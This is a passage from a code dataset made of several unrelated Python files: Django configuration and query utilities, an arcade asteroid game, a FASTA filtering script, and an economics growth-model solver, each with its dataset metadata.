name='CollectiveSAConnectLayer:FunctionalTesting'\n)\n","sub_path":"src/collective/saconnect/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"123359321","text":"\"\"\"Main URLs file for ClassifyPackage project.\"\"\"\n\n# pylint: disable=C0103\n\nfrom django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('classify.views',\n # Examples:\n # url(r'^$', 'classify_packages.views.home', name='home'),\n # url(r'^classify_packages/', include('classify_packages.foo.urls')),\n url(r'^$', 'home', {'template_name': 'home.html'}, name='home'),\n url(r'^classify/$', 'classify', {'template_name': 'classify.html'},\n name='classify'),\n url(r'^result/$', 'result', {'template_name': 'result.html'},\n name='result'),\n # Uncomment the admin/doc line below to enable admin documentation:\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"classify_packages/classify_packages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"24421425","text":"import arcade\nimport os\nimport math\nimport random\nimport open_color\n\nSCALE = .5\nSPRITE_SCALING = 0.35\n\nSCREEN_WIDTH = 1080\nSCREEN_HEIGHT = 1080\nOFFSCREEN_SPACE = 200\nLEFT_LIMIT = -OFFSCREEN_SPACE\nRIGHT_LIMIT = SCREEN_WIDTH + OFFSCREEN_SPACE\nBOTTOM_LIMIT = -OFFSCREEN_SPACE\nTOP_LIMIT = SCREEN_HEIGHT + OFFSCREEN_SPACE\nSCREEN_TITLE = \"WRLD SVR\"\n\nMOVEMENT_SPEED = 5\nANGLE_SPEED = 5\n\nSTARTING_ASTEROID_COUNT = 5\n\nclass TurningSprite(arcade.Sprite):\n \"\"\" Sprite that sets its angle to the direction it is traveling in. \"\"\"\n def update(self):\n super().update()\n self.angle = math.degrees(math.atan2(self.change_y, self.change_x))\n\nclass Player(arcade.Sprite):\n \"\"\" Player class \"\"\"\n\n def __init__(self, image, scale):\n \"\"\" Set up the player \"\"\"\n\n # Call the parent init\n super().__init__(image, scale)\n\n # Create a variable to hold our speed. 'angle' is created by the parent\n self.speed = 0\n\n def update(self):\n # Convert angle in degrees to radians.\n angle_rad = math.radians(self.angle)\n\n # Rotate the ship\n self.angle += self.change_angle\n\n # Use math to find our change based on our speed and angle\n self.center_x += -self.speed * math.sin(angle_rad)\n self.center_y += self.speed * math.cos(angle_rad) \n\nclass AsteroidSprite(arcade.Sprite):\n \"\"\" Sprite that represents an asteroid. \"\"\"\n\n def __init__(self, image_file_name, scale):\n super().__init__(image_file_name, scale=scale)\n self.size = 0\n\n def update(self):\n \"\"\" Move the asteroid around. \"\"\"\n super().update()\n if self.center_x < LEFT_LIMIT:\n self.center_x = RIGHT_LIMIT\n if self.center_x > RIGHT_LIMIT:\n self.center_x = LEFT_LIMIT\n if self.center_y > TOP_LIMIT:\n self.center_y = BOTTOM_LIMIT\n if self.center_y < BOTTOM_LIMIT:\n self.center_y = TOP_LIMIT\n\nclass BulletSprite(TurningSprite):\n \"\"\"\n Class that represents a bullet.\n\n Derives from arcade.TurningSprite which is just a Sprite\n that aligns to its direction.\n \"\"\"\n\n def update(self):\n super().update()\n if self.center_x < -100 or self.center_x > 1500 or \\\n self.center_y > 1100 or self.center_y < -100:\n self.kill()\n\nclass MyGame(arcade.Window):\n \"\"\"\n Main application class.\n \"\"\"\n\n def __init__(self, width, height, title):\n \"\"\"\n Initializer\n \"\"\"\n\n # Call the parent class initializer\n super().__init__(width, height, title)\n\n # Set the working directory (where we expect to find files) to the same\n # directory this .py file is in. You can leave this out of your own\n # code, but it is needed to easily run the examples using \"python -m\"\n # as mentioned at the top of this program.\n file_path = os.path.dirname(os.path.abspath(__file__))\n os.chdir(file_path)\n\n self.frame_count = 0\n\n \n\n # Variables that will hold sprite lists\n self.player_list = None\n\n # Set up the player info\n self.player_sprite = None\n\n # Stores Background Image as Variable\n self.background = None\n\n self.all_sprites_list = None\n self.asteroid_list = None\n self.bullet_list = None\n self.ship_life_list = None\n\n self.score = 0\n self.lives = 5\n\n def setup(self):\n \"\"\" Set up the game and initialize the variables. \"\"\"\n \n self.frame_count = 0\n self.game_over = False\n\n #Background Image\n self.background = arcade.load_texture(\"assets/nebula.jpg\")\n\n # Sprite lists\n self.player_list = arcade.SpriteList()\n self.all_sprites_list = arcade.SpriteList()\n self.asteroid_list = arcade.SpriteList()\n self.bullet_list = arcade.SpriteList()\n self.ship_life_list = arcade.SpriteList()\n\n # Set up the player\n self.player_sprite = Player(\"assets/starshippixelart_rotate_transparant_2.png\", SPRITE_SCALING)\n self.player_sprite.center_x = SCREEN_WIDTH / 2\n self.player_sprite.center_y = SCREEN_HEIGHT / 2\n self.player_list.append(self.player_sprite)\n self.score = 0\n self.lives = 5\n\n cur_pos = 10\n for i in range(self.lives):\n life = arcade.Sprite(\"assets/starshippixelart_rotate_transparant_small.png\", SCALE/3)\n life.center_x = cur_pos + life.width-20\n life.center_y = life.height*2+20\n cur_pos += life.width\n self.all_sprites_list.append(life)\n self.ship_life_list.append(life)\n\n # Make the asteroids\n image_list = (\"assets/spaceMeteors_001.png\",\n \"assets/spaceMeteors_002.png\",\n \"assets/spaceMeteors_003.png\",\n \"assets/spaceMeteors_004.png\")\n for i in range(STARTING_ASTEROID_COUNT):\n image_no = random.randrange(4)\n enemy_sprite = AsteroidSprite(image_list[image_no], SCALE)\n enemy_sprite.guid = \"Asteroid\"\n\n enemy_sprite.center_y = random.randrange(BOTTOM_LIMIT, TOP_LIMIT)\n enemy_sprite.center_x = random.randrange(LEFT_LIMIT, RIGHT_LIMIT)\n\n enemy_sprite.change_x = random.random() * 2 - 1\n enemy_sprite.change_y = random.random() * 2 - 1\n\n enemy_sprite.change_angle = (random.random() - 0.5) * 2\n enemy_sprite.size = 4\n self.all_sprites_list.append(enemy_sprite)\n self.asteroid_list.append(enemy_sprite)\n \n def on_draw(self):\n \"\"\"\n Render the screen.\n \"\"\"\n\n # This command has to happen before we start drawing\n arcade.start_render()\n\n #Draw Background\n arcade.draw_texture_rectangle(SCREEN_WIDTH // 2, SCREEN_HEIGHT // 2,\n SCREEN_WIDTH, SCREEN_HEIGHT, self.background)\n\n # Draw all the sprites.\n self.player_list.draw()\n self.all_sprites_list.draw()\n\n # Put the text on the screen.\n output = f\"Score: {self.score}\"\n arcade.draw_text(output, 15, 57, arcade.color.WHITE, 20)\n\n output = f\"Asteroid Count: {len(self.asteroid_list)}\"\n arcade.draw_text(output, 15, 25, arcade.color.WHITE, 20)\n\n def on_key_press(self, key, modifiers):\n \"\"\"Called whenever a key is pressed. \"\"\"\n\n\n # Shoot if the player hit the space bar\n if key == arcade.key.SPACE:\n bullet_sprite = BulletSprite(\"assets/bullet.png\", SCALE)\n bullet_sprite.guid = \"Bullet\"\n\n bullet_speed = 10\n bullet_sprite.change_y = \\\n math.cos(math.radians(self.player_sprite.angle))* bullet_speed\n bullet_sprite.change_x = \\\n -math.sin(math.radians(self.player_sprite.angle)) \\\n * bullet_speed \n\n bullet_sprite.center_x = self.player_sprite.center_x\n bullet_sprite.center_y = self.player_sprite.center_y\n bullet_sprite.update()\n\n self.all_sprites_list.append(bullet_sprite)\n self.bullet_list.append(bullet_sprite)\n\n # Rotate left/right\n if key == arcade.key.LEFT:\n self.player_sprite.change_angle = 3\n elif key == arcade.key.RIGHT:\n self.player_sprite.change_angle = -3\n\n def on_key_release(self, key, modifiers):\n \"\"\"Called when the user releases a key. \"\"\"\n\n if key == arcade.key.LEFT or key == arcade.key.RIGHT:\n self.player_sprite.change_angle = 0\n\n def split_asteroid(self, asteroid: AsteroidSprite):\n \"\"\" Split an asteroid into chunks. \"\"\"\n x = asteroid.center_x\n y = asteroid.center_y\n self.score += 1\n\n if asteroid.size == 4:\n for i in range(3):\n image_no = random.randrange(2)\n image_list = [\"assets/spaceMeteors_small_001.png\",\n \"assets/spaceMeteors_small_002.png\"]\n\n enemy_sprite = AsteroidSprite(image_list[image_no],\n SCALE * 1.5)\n\n enemy_sprite.center_y = y\n enemy_sprite.center_x = x\n\n enemy_sprite.change_x = random.random() * 2.5 - 1.25\n enemy_sprite.change_y = random.random() * 2.5 - 1.25\n\n enemy_sprite.change_angle = (random.random() - 0.5) * 2\n enemy_sprite.size = 3\n\n self.all_sprites_list.append(enemy_sprite)\n self.asteroid_list.append(enemy_sprite)\n elif asteroid.size == 3:\n for i in range(3):\n image_no = random.randrange(2)\n image_list = [\"assets/spaceMeteors_smaller_003.png\",\n \"assets/spaceMeteors_smaller_004.png\"]\n\n enemy_sprite = AsteroidSprite(image_list[image_no],\n SCALE * 1.5)\n\n enemy_sprite.center_y = y\n enemy_sprite.center_x = x\n\n enemy_sprite.change_x = random.random() * 3 - 1.5\n enemy_sprite.change_y = random.random() * 3 - 1.5\n\n enemy_sprite.change_angle = (random.random() - 0.5) * 2\n enemy_sprite.size = 2\n\n self.all_sprites_list.append(enemy_sprite)\n self.asteroid_list.append(enemy_sprite)\n elif asteroid.size == 2:\n for i in range(3):\n image_no = random.randrange(2)\n image_list = [\"assets/spaceMeteors_tiny_003.png\",\n \"assets/spaceMeteors_tiny_004.png\"]\n\n enemy_sprite = AsteroidSprite(image_list[image_no],\n SCALE * 1.5)\n\n enemy_sprite.center_y = y\n enemy_sprite.center_x = x\n\n enemy_sprite.change_x = random.random() * 3.5 - 1.75\n enemy_sprite.change_y = random.random() * 3.5 - 1.75\n\n enemy_sprite.change_angle = (random.random() - 0.5) * 2\n enemy_sprite.size = 1\n\n self.all_sprites_list.append(enemy_sprite)\n self.asteroid_list.append(enemy_sprite)\n\n def update(self, delta_time):\n \"\"\" Movement and game logic \"\"\"\n self.frame_count += 1\n\n if not self.game_over:\n self.all_sprites_list.update()\n\n for bullet in self.bullet_list:\n asteroids_plain = arcade.check_for_collision_with_list(bullet, self.asteroid_list)\n asteroids_spatial = arcade.check_for_collision_with_list(bullet, self.asteroid_list)\n if len(asteroids_plain) != len(asteroids_spatial):\n print(\"ERROR\")\n\n asteroids = asteroids_spatial\n\n for asteroid in asteroids:\n self.split_asteroid(asteroid)\n asteroid.kill()\n bullet.kill()\n\n asteroids = arcade.check_for_collision_with_list(self.player_sprite, self.asteroid_list)\n if len(asteroids) > 0:\n if self.lives > 0:\n self.lives -= 1\n self.split_asteroid(asteroids[0])\n asteroids[0].kill()\n self.ship_life_list.pop().kill()\n print(\"Crash\")\n else:\n self.game_over = True\n print(\"Game over\")\n\n # Call update on all sprites \n self.player_list.update()\n\ndef main():\n \"\"\" Main method \"\"\"\n window = MyGame(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE)\n window.setup()\n arcade.run()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"main_1.py","file_name":"main_1.py","file_ext":"py","file_size_in_byte":11704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"17315813","text":"# python long_and_short_covered.py short_reads_abundance.tsv long_reads_abundance.tsv 1.0 50.0 isoforms_chr*.fa\n\nimport sys\n\nfrom pathlib import Path\n\nfrom Bio import SeqIO\n\n\ndef get_tpm_ind(tsv):\n with open(tsv, 'r') as fin:\n columns = fin.readline().strip().split()\n for ind, name in enumerate(columns):\n if 'tpm' in name or 'TPM' in name:\n return -(len(columns) - ind)\n\ndef get_covered_t_ids(tsv, min_tpm, max_tpm):\n ids = set()\n tpm_count_ind = get_tpm_ind(tsv)\n with open(tsv, 'r') as fin:\n next(fin)\n for line in fin:\n values = line.strip().split()\n id = values[0]\n tpm = float(values[tpm_count_ind])\n if tpm > min_tpm and tpm <= max_tpm:\n ids.add(id)\n print(tsv + ': {}'.format(len(ids)))\n return ids\n\ndef filter_fasta_by_ids(in_fasta, out_fasta, ids):\n records = []\n for record in SeqIO.parse(in_fasta, \"fasta\"):\n if record.id in ids:\n records.append(record)\n SeqIO.write(records, out_fasta, \"fasta\")\n return out_fasta\n\n\nshort_tsv = sys.argv[1]\nlong_tsv = sys.argv[2]\nmin_est = float(sys.argv[3])\nmax_est = float(sys.argv[4])\nin_fasta = sys.argv[5]\n\nout_fasta = Path(in_fasta).stem + '.simultaneously_covered.{}-{}.fa'.format(min_est, max_est)\n\nshort_covered = get_covered_t_ids(short_tsv, min_est, max_est)\nlong_covered = get_covered_t_ids(long_tsv, min_est, max_est)\n\ntogether_covered = short_covered.intersection(long_covered)\nprint('Simultaneously covered: {}'.format(len(together_covered)))\n\nfilter_fasta_by_ids(in_fasta, out_fasta, together_covered)","sub_path":"scratches/long_and_short_covered.py","file_name":"long_and_short_covered.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"425210522","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /tmp/pip-install-jkXn_D/django/django/db/models/query_utils.py\n# Compiled at: 2018-07-11 18:15:30\n\"\"\"\nVarious data structures used in query construction.\n\nFactored out from django.db.models.query to avoid making the main module very\nlarge and/or so that they can be used by other modules without getting into\ncircular import difficulties.\n\"\"\"\nfrom __future__ import unicode_literals\nfrom django.db.backends import util\nfrom django.utils import six\nfrom django.utils import tree\n\nclass InvalidQuery(Exception):\n \"\"\"\n The query passed to raw isn't a safe query to use with raw.\n \"\"\"\n pass\n\n\nclass QueryWrapper(object):\n \"\"\"\n A type that indicates the contents are an SQL fragment and the associate\n parameters. Can be used to pass opaque data to a where-clause, for example.\n \"\"\"\n\n def __init__(self, sql, params):\n self.data = (\n sql, params)\n\n def as_sql(self, qn=None, connection=None):\n return self.data\n\n\nclass Q(tree.Node):\n \"\"\"\n Encapsulates filters as objects that can then be combined logically (using\n & and |).\n \"\"\"\n AND = b'AND'\n OR = b'OR'\n default = AND\n\n def __init__(self, *args, **kwargs):\n super(Q, self).__init__(children=list(args) + list(six.iteritems(kwargs)))\n\n def _combine(self, other, conn):\n if not isinstance(other, Q):\n raise TypeError(other)\n obj = type(self)()\n obj.add(self, conn)\n obj.add(other, conn)\n return obj\n\n def __or__(self, other):\n return self._combine(other, self.OR)\n\n def __and__(self, other):\n return self._combine(other, self.AND)\n\n def __invert__(self):\n obj = type(self)()\n obj.add(self, self.AND)\n obj.negate()\n return obj\n\n\nclass DeferredAttribute(object):\n \"\"\"\n A wrapper for a deferred-loading field. When the value is read from this\n object the first time, the query is executed.\n \"\"\"\n\n def __init__(self, field_name, model):\n self.field_name = field_name\n\n def __get__(self, instance, owner):\n \"\"\"\n Retrieves and caches the value from the datastore on the first lookup.\n Returns the cached value.\n \"\"\"\n from django.db.models.fields import FieldDoesNotExist\n non_deferred_model = instance._meta.proxy_for_model\n opts = non_deferred_model._meta\n assert instance is not None\n data = instance.__dict__\n if data.get(self.field_name, self) is self:\n try:\n f = opts.get_field_by_name(self.field_name)[0]\n except FieldDoesNotExist:\n f = [ f for f in opts.fields if f.attname == self.field_name\n ][0]\n\n name = f.name\n val = self._check_parent_chain(instance, name)\n if val is None:\n val = getattr(non_deferred_model._base_manager.only(name).using(instance._state.db).get(pk=instance.pk), self.field_name)\n data[self.field_name] = val\n return data[self.field_name]\n\n def __set__(self, instance, value):\n \"\"\"\n Deferred loading attributes can be set normally (which means there will\n never be a database lookup involved.\n \"\"\"\n instance.__dict__[self.field_name] = value\n\n def _check_parent_chain(self, instance, name):\n \"\"\"\n Check if the field value can be fetched from a parent field already\n loaded in the instance. This can be done if the to-be fetched\n field is a primary key field.\n \"\"\"\n opts = instance._meta\n f = opts.get_field_by_name(name)[0]\n link_field = opts.get_ancestor_link(f.model)\n if f.primary_key and f != link_field:\n return getattr(instance, link_field.attname)\n else:\n return\n\n\ndef select_related_descend(field, restricted, requested, load_fields, reverse=False):\n \"\"\"\n Returns True if this field should be used to descend deeper for\n select_related() purposes. Used by both the query construction code\n (sql.query.fill_related_selections()) and the model instance creation code\n (query.get_klass_info()).\n\n Arguments:\n * field - the field to be checked\n * restricted - a boolean field, indicating if the field list has been\n manually restricted using a requested clause)\n * requested - The select_related() dictionary.\n * load_fields - the set of fields to be loaded on this model\n * reverse - boolean, True if we are checking a reverse select related\n \"\"\"\n if not field.rel:\n return False\n if field.rel.parent_link and not reverse:\n return False\n if restricted:\n if reverse and field.related_query_name() not in requested:\n return False\n if not reverse and field.name not in requested:\n return False\n if not restricted and field.null:\n return False\n if load_fields:\n if field.name not in load_fields:\n if restricted and field.name in requested:\n raise InvalidQuery(b'Field %s.%s cannot be both deferred and traversed using select_related at the same time.' % (\n field.model._meta.object_name, field.name))\n return False\n return True\n\n\ndef deferred_class_factory(model, attrs):\n \"\"\"\n Returns a class object that is a copy of \"model\" with the specified \"attrs\"\n being replaced with DeferredAttribute objects. The \"pk_value\" ties the\n deferred attributes to a particular instance of the model.\n \"\"\"\n\n class Meta:\n proxy = True\n app_label = model._meta.app_label\n\n name = b'%s_Deferred_%s' % (model.__name__, (b'_').join(sorted(list(attrs))))\n name = util.truncate_name(name, 80, 32)\n overrides = dict([ (attr, DeferredAttribute(attr, model)) for attr in attrs\n ])\n overrides[b'Meta'] = Meta\n overrides[b'__module__'] = model.__module__\n overrides[b'_deferred'] = True\n return type(str(name), (model,), overrides)\n\n\ndeferred_class_factory.__safe_for_unpickling__ = True","sub_path":"pycfiles/ka_lite_static-0.17.5-py2-none-any/query_utils.py","file_name":"query_utils.py","file_ext":"py","file_size_in_byte":6193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"56901016","text":"import numpy as np\nfrom LinApp_FindSS import LinApp_FindSS\nfrom LinApp_Deriv import LinApp_Deriv\nfrom LinApp_Solve import LinApp_Solve\n#\n# from numba import jit\n#\nalpha = .35\nbeta = .98\nrho = .95\nsigma = .02\n#\nkbar = (alpha * beta) ** (1 / (1 - alpha))\n#\n# kbar = np.log(kbar)\n#\n#\n# F = alpha * alpha * beta * \\\n# np.exp(alpha * kbar) / (np.exp(alpha * kbar) - np.exp(kbar))\n#\n# L = (alpha * beta * (np.exp((alpha - 1) * kbar)) * (np.exp(alpha * kbar) - np.exp(kbar)\n# ) - np.exp(2 * alpha * kbar - kbar)) / (np.exp(alpha * kbar) - np.exp(kbar))\n#\n# G = (np.exp((alpha - 1) * kbar) * (alpha * np.exp(2 * kbar) - np.exp(2 * alpha * kbar) + (1 - alpha) * np.exp((alpha + 1) * kbar))) / \\\n# ((np.exp(alpha * kbar) - np.exp(kbar)) ** 2)\n#\n# M = (alpha * beta * np.exp((alpha - 1) * kbar) * np.exp(alpha * kbar)) / \\\n# (np.exp(alpha * kbar) - np.exp(kbar))\n#\n# H = alpha * beta * (np.exp(2 * alpha * kbar - kbar)) / \\\n# (np.exp(alpha * kbar) - np.exp(kbar))\n#\n#\n# #\n# #\n# # @jit\n# # def Ffn():\n# # num = beta * alpha * (kbar ** (alpha - 1))\n# # den = (kbar ** (alpha)) - kbar\n# # return num / den\n# #\n# # @jit\n# # def Gfn():\n# # num = -beta * (kbar ** (alpha - 1)) * (alpha + (kbar ** (alpha - 1)))\n# # den = (kbar ** (alpha)) - kbar\n# # return num / den\n# #\n# # @jit\n# # def Hfn():\n# # num = beta * (alpha ** 2) * (kbar ** (2 * (alpha - 1)))\n# # den = (kbar ** (alpha)) - kbar\n# # return num / den\n# #\n# # @jit\n# # def Lfn():\n# # num = -beta * alpha * beta * (kbar ** alpha)\n# # den = (kbar ** (alpha)) - kbar\n# # return num / den\n# #\n# # @jit\n# # def Mfn():\n# # num = -beta * alpha * (kbar ** (2 * (alpha - 1)))\n# # den = (kbar ** (alpha)) - kbar\n# # return num / den\n# #\n# # F = Ffn()\n# # G = Gfn()\n# # H = Hfn()\n# # L = Lfn()\n# # M = Mfn()\n#\n# print(F, G, H, L, M)\n#\n# P = (-G + np.sqrt((G ** 2) - 4 * F * M)) / (2 * F)\n# N = rho\n# Q = -(L * N + M) / (F * N + F * P + G)\n#\n# print(P, N, Q)\n#\n#\n# sizek = 26\n# sizez = 26\n#\n# kgrid = np.linspace(.5 * kbar, 1.5 * kbar, sizek)\n#\n# zgrid = np.linspace(-5 * sigma, 5 * sigma, sizez)\n#\n#\n# X, Y = np.meshgrid(kgrid, zgrid)\n# kbar = (alpha * beta) ** (1 / (1 - alpha))\n# kbarM = kbar * np.ones_like(X)\n# Z = np.exp(kbarM + P * (X - kbarM) + Q * Y)\n#\n# from mpl_toolkits.mplot3d import axes3d\n# import matplotlib.pyplot as plt\n#\n#\n# fig = plt.figure()\n# ax = fig.add_subplot(111, projection='3d')\n#\n# ax.plot_wireframe(X, Y, Z) # , rstride=10, cstride=10)\n#\n# plt.show()\n\n\ndef Modeldyn_BM(theta0, params):\n '''\n Inputs are:\n theta: a vector\n params: list of parameter values\n\n Output are:\n Euler: a vector of Euler equations written so that they are zero at the\n steady state values of X, Y & Z. This is a 2x1 numpy array.\n '''\n\n # unpack theta0\n (Kpp, Kp, K, Zp, Z) = theta0\n\n # unpacking parameters\n alpha, beta = params\n\n # Evaluate Euler equations\n E1 = 1 / (np.exp(Z) * K ** alpha - Kp) - beta * ((alpha * np.exp(Zp) * Kp ** (alpha - 1)) /\n (np.exp(Zp) * Kp ** alpha - Kpp))\n\n return np.array([E1])\n\n\nnx = 1\nny = 0\nnz = 1\nlogX = 1\nSylv = 1\n\n# set up steady state input vector\ntheta0 = np.array([kbar, kbar, kbar, 0., 0.])\nparams = (alpha, beta)\nZbar = np.array([0])\n\n# find the derivatives matrices\n[AA, BB, CC, DD, FF, GG, HH, JJ, KK, LL, MM, WW, TT] = \\\n LinApp_Deriv(Modeldyn_BM, params, theta0, nx, ny, nz, logX)\nnp.set_printoptions(suppress=False)\nnp.set_printoptions(precision=6)\n\nprint('FF: ', FF)\nprint('GG: ', GG)\nprint('HH: ', HH)\nprint('LL: ', LL)\nprint('MM: ', MM)\n\n# set value for NN\nNN = rho\n\n# find the policy and jump function coefficients\nPP, QQ, UU, RR, SS, VV = \\\n LinApp_Solve(AA, BB, CC, DD, FF, GG, HH, JJ,\n KK, LL, MM, WW, TT, NN, Zbar, Sylv)\nprint('PP:', PP)\nprint('QQ', QQ)\n\n\nsizek = 26\nsizez = 26\n\nkgrid = np.linspace(.5 * kbar, 1.5 * kbar, sizek)\n\nzgrid = np.linspace(-5 * sigma, 5 * sigma, sizez)\n\n\nXL, YL = np.meshgrid(kgrid, zgrid)\nkbar = (alpha * beta) ** (1 / (1 - alpha))\nkbarM = kbar * np.ones_like(XL)\n\nP = PP\nQ = QQ\nZL = kbarM + (PP[0] * ((XL - kbarM) / kbarM) + QQ[0] * YL) * kbar\n\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nfrom numba import jit\nfrom rouwen import rouwen\n\nalpha = .35\nbeta = .98\nrho = .95\nsigma = .02\n\nkbar = (alpha * beta) ** (1 / (1 - alpha))\n\nsizek = 26\nsizez = 26\n\nkgrid = np.linspace(.5 * kbar, 1.5 * kbar, sizek)\n\nzgrid = np.linspace(-5 * sigma, 5 * sigma, sizez)\n\ntrans, zgrid = rouwen(rho, 0, zgrid[1] - zgrid[0], 26)\n\nX, Y = np.meshgrid(kgrid, zgrid)\n\n\n@jit\ndef Ffn():\n num = beta * alpha * (kbar ** (alpha - 1))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Gfn():\n num = -beta * alpha * (kbar ** (alpha - 1)) * \\\n (alpha + (kbar ** (alpha - 1)))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Hfn():\n num = beta * (alpha ** 2) * (kbar ** (2 * (alpha - 1)))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Lfn():\n # num = -(alpha ** 2) * beta * (kbar ** alpha)\n # den = (kbar ** (alpha)) - kbar\n # return num / den\n return -Ffn() * kbar\n\n\n@jit\ndef Mfn():\n num = beta * alpha * (kbar ** (2 * alpha - 1))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\nF = Ffn()\nG = Gfn()\nH = Hfn()\nL = Lfn()\nM = Mfn()\n\nprint(F, G, H, L, M)\n\nP = (-G - np.sqrt((G ** 2) - 4 * F * H)) / (2 * F)\nN = rho\nQ = -(L * N + M) / (F * N + F * P + G)\n\nprint(P, N, Q)\n\nkbarM = kbar * np.ones_like(X)\n\n\nZN = kbarM + P * (X - kbarM) + Q * Y\n\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\nax.plot_wireframe(XL, YL, ZL) # , rstride=10, cstride=10)\n\nimport numpy as np\nfrom numba import jit\nfrom rouwen import rouwen\n\nalpha = .35\nbeta = .98\nrho = .95\nsigma = .02\n\nkbar = (alpha * beta) ** (1 / (1 - alpha))\n\nsizek = 26\nsizez = 26\n\nkgrid = np.linspace(.5 * kbar, 1.5 * kbar, sizek)\n\nzgrid = np.linspace(-5 * sigma, 5 * sigma, sizez)\n\ntrans, zgrid = rouwen(rho, 0, zgrid[1] - zgrid[0], 26)\n\nX, Y = np.meshgrid(kgrid, zgrid)\n\n\n@jit\ndef Ffn():\n num = beta * alpha * (kbar ** (alpha - 1))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Gfn():\n num = -beta * alpha * (kbar ** (alpha - 1)) * \\\n (alpha + (kbar ** (alpha - 1)))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Hfn():\n num = beta * (alpha ** 2) * (kbar ** (2 * (alpha - 1)))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\n@jit\ndef Lfn():\n # num = -(alpha ** 2) * beta * (kbar ** alpha)\n # den = (kbar ** (alpha)) - kbar\n # return num / den\n return -Ffn() * kbar\n\n\n@jit\ndef Mfn():\n num = beta * alpha * (kbar ** (2 * alpha - 1))\n den = (kbar ** (alpha)) - kbar\n return num / den\n\n\nF = Ffn()\nG = Gfn()\nH = Hfn()\nL = Lfn()\nM = Mfn()\n\nprint(F, G, H, L, M)\n\nP = (-G - np.sqrt((G ** 2) - 4 * F * H)) / (2 * F)\nN = rho\nQ = -(L * N + M) / (F * N + F * P + G)\n\nprint(P, N, Q)\n\nkbarM = kbar * np.ones_like(X)\n\n\nZN = kbarM + P * (X - kbarM) + Q * Y\n\n\nimport numpy as np\nfrom numba import jit\n\n\nalpha = .35\nbeta = .98\nrho = .95\nsigma = .02\n\nsizek = 26\nsizez = 26\n\nkbar = (alpha * beta) ** (1 / (1 - alpha))\n\nkgrid = np.linspace(.5 * kbar, 1.5 * kbar, sizek)\n\nzgrid = np.linspace(-5 * sigma, 5 * sigma, sizez)\n\n\nmkgrid = np.zeros((sizek, sizez))\n\nvgrid = np.ones((sizek, sizez))\n\n# @jit\n# def vfn(kp,k,z):\n# a = ln(np.exp(z)*(k ** alpha) - kp)\n# b = beta * vgrid[]\n\n\n@jit\ndef part():\n e = np.zeros((sizez, sizek, sizek))\n for k in range(sizez):\n for i in range(sizek):\n for j in range(sizek):\n # print(np.exp(zgrid[k]) * (kgrid[i] ** alpha))\n # print(kgrid[j])\n # print(np.log( np.exp(zgrid[k]) * (kgrid[i] ** alpha) - kgrid[j]))\n e[k, i, j] = np.log(np.exp(zgrid[k]) *\n (kgrid[i] ** alpha) - kgrid[j])\n return e\n\n\nlnpart = part()\n\nimport numpy as np\n\n\ntrans, dsp = rouwen(rho, 0, zgrid[1] - zgrid[0], 26,)\n\n\n@jit\ndef loop(V):\n Vmat = np.zeros((sizez, sizek, sizek)) # initialize Vmat matrix\n for k in range(sizez):\n for i in range(sizek): # loop over k\n for j in range(sizek): # loop over k'\n # print (V[j])\n Vmat[k, i, j] = lnpart[k, i, j] + beta * V[k, j]\n return Vmat\n\n# @jit\n\n\ndef firmsolve():\n\n VFtol = 1e-6\n VFdist = 7.0\n VFiter = 0\n VFmaxiter = 3000\n\n V = np.ones((sizez, sizek)) # initial guess at value function\n # Vmat = np.zeros((N,sizek, sizek)) # initialize Vmat matrix\n Vstore = np.zeros((sizez, sizek, VFmaxiter)) # initialize Vstore array\n\n # start_time = time.clock()\n while VFdist > VFtol and VFmaxiter > VFiter:\n\n TV = V\n\n V = np.dot(trans.T, V)\n\n # for k in range(N):\n # for i in range(sizek): # loop over k\n # for j in range(sizek): # loop over k'\n # # print (V[j])\n # Vmat[k,i, j] = e[k,i, j] + betafirm * V[ k , j ]\n\n Vmat = loop(V)\n\n # for i in range(N):\n # Vstore[i,:, VFiter] = V[i].reshape(sizek,) # store value function at each\n # iteration for graphing later\n V = Vmat.max(axis=2) # apply max operator to Vmat (to get V(k))\n PF = np.argmax(Vmat, axis=2) # find the index of the optimal k'\n VFdist = (np.absolute(V - TV)).max() # check distance between value\n # function for this iteration and value function from past iteration\n VFiter += 1\n\n # VFI_time = time.clock() - start_time\n\n if VFiter < VFmaxiter:\n pass\n # print('Value function converged after this many iterations:', VFiter)\n else:\n print('Value function did not converge')\n # print('VFI took ', VFI_time, ' seconds to solve')\n\n VF = V # solution to the functional equation\n\n #\n # '''\n # ------------------------------------------------------------------------\n # Find optimal capital and investment policy functions\n # ------------------------------------------------------------------------\n # optK = (sizek,) vector, optimal choice of k' for each k\n # optI = (sizek,) vector, optimal choice of investment for each k\n # ------------------------------------------------------------------------\n # '''\n # # optE = e[PF]\n # optE = np.zeros_like(PF)\n # for i in range(N):\n # for j in range(sizek):\n # optE = 